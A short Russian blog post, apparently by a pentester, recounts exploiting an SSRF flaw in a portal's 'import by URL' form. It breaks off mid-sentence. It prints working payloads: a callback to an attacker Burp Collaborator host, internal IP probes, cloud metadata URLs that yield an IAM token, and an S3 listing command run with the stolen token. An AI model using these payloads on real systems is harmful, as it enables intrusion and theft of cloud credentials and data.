» Проект - корпоративный портал российской компании на Яндекс.Облаке. Клиент уверен: «у нас WAF, сканеры ничего не нашли». Классика. 🔍 Точка входа Форма загрузки данных: «Вставьте ссылку на файл». Разработчики думали, что туда будут вставлять только https://example.ru/data.csv. Не угадали. 🧪 Шаги атаки Шаг 1 - проверяю, делает ли сервер запросы от себя: url=http://attacker.burpcollaborator.net Пинг пришёл. Сервер ходит по URL сам. Уже интересно 😏 Шаг 2 - пробую внутреннюю сеть: url=http://192.168.1.1 url=http://10.0.0.1 Разница во времени ответов - значит, там что-то живёт. Шаг 3 - метадата Яндекс.Облака (аналог AWS IMDSv1): url=http://169.254.169.254/latest/meta-data/ url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token 💥 Сервер вернул IAM-токен сервисного аккаунта с широкими правами. Шаг 4 - с токеном иду в Yandex Object Storage: aws s3 ls s3://prod-backups/ \ —endpoint-url=https://storage.yandexcloud.net \ —profile stolen Вижу бакет d
🕳 Как я попал во внутреннюю сеть через кнопку «Импорт по URL
17 июня17 июн
15
1 мин